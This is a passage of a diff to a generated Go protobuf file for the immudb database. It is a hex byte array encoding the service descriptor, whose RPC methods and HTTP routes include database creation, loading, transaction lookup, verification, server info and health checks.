0x2e, 0x67, 0x6f, + 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, + 0x70, 0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, + 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, + 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, + 0x12, 0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, + 0x42, 0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, + 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, - 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, - 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, - 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, - 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e, 0x74, - 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x3a, 0x01, 0x2a, 0x22, - 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x5b, 0x0a, 0x0e, 0x43, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, - 0x65, 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61, 0x74, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a, 0x16, - 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, - 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x3a, 0x01, - 0x2a, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69, 0x74, - 0x68, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, - 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, 0x2a, - 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x12, - 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, - 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, - 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x74, 0x0a, - 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, - 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x6e, 0x6c, - 0x6f, 0x61, 0x64, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, - 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x63, 0x0a, 0x0c, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, - 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, - 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, - 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x88, 0x02, 0x01, 0x12, 0x75, - 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x56, 0x32, - 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, - 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x22, 0x16, 0x82, - 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x69, - 0x73, 0x74, 0x2f, 0x76, 0x32, 0x12, 0x67, 0x0a, 0x0b, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, - 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x1f, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, - 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x22, 0x1e, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x73, 0x65, 0x2f, - 0x7b, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x7d, 0x12, 0x63, - 0x0a, 0x0e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, - 0x12, 0x1f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, - 0x73, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, - 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, - 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x70, - 0x64, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01, 0x2a, 0x22, - 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32, 0x12, 0x6a, - 0x0a, 0x13, 0x47, 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1f, 0x2e, - 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x22, 0x1a, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x11, 0x3a, 0x01, 0x2a, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x73, - 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x88, 0x02, 0x01, 0x12, 0x84, 0x01, 0x0a, 0x15, 0x47, - 0x65, 0x74, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, - 0x67, 0x73, 0x56, 0x32, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, - 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, - 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x65, 0x73, - 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x3a, 0x01, 0x2a, - 0x22, 0x0f, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x2f, 0x76, - 0x32, 0x12, 0x69, 0x0a, 0x0a, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, + 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, + 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, + 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, + 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, + 0x4c, 0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, + 0x06, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, + 0x72, 0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, + 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x46, 0x6c, 0x75, 0x73, 0x68, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, - 0x62, 0x2f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x58, 0x0a, 0x0c, - 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x16, 0x2e, 0x67, - 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, - 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, - 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18, 0x82, 0xd3, - 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, - 0x74, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x12, 0x40, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, - 0x47, 0x65, 0x74, 0x12, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x3e, 0x0a, 0x09, 0x73, 0x74, 0x72, 0x65, - 0x61, 0x6d, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x22, 0x00, 0x28, 0x01, 0x12, 0x54, 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, - 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, - 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x1a, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x22, 0x00, 0x30, 0x01, 0x12, 0x4c, - 0x0a, 0x13, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, - 0x6c, 0x65, 0x53, 0x65, 0x74, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, + 0x61, 0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, + 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x0d, 0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x12, 0x55, + 0x0a, 0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, + 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, + 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, + 0x14, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, + 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, + 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, + 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, + 0x5d, 0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, + 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, + 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 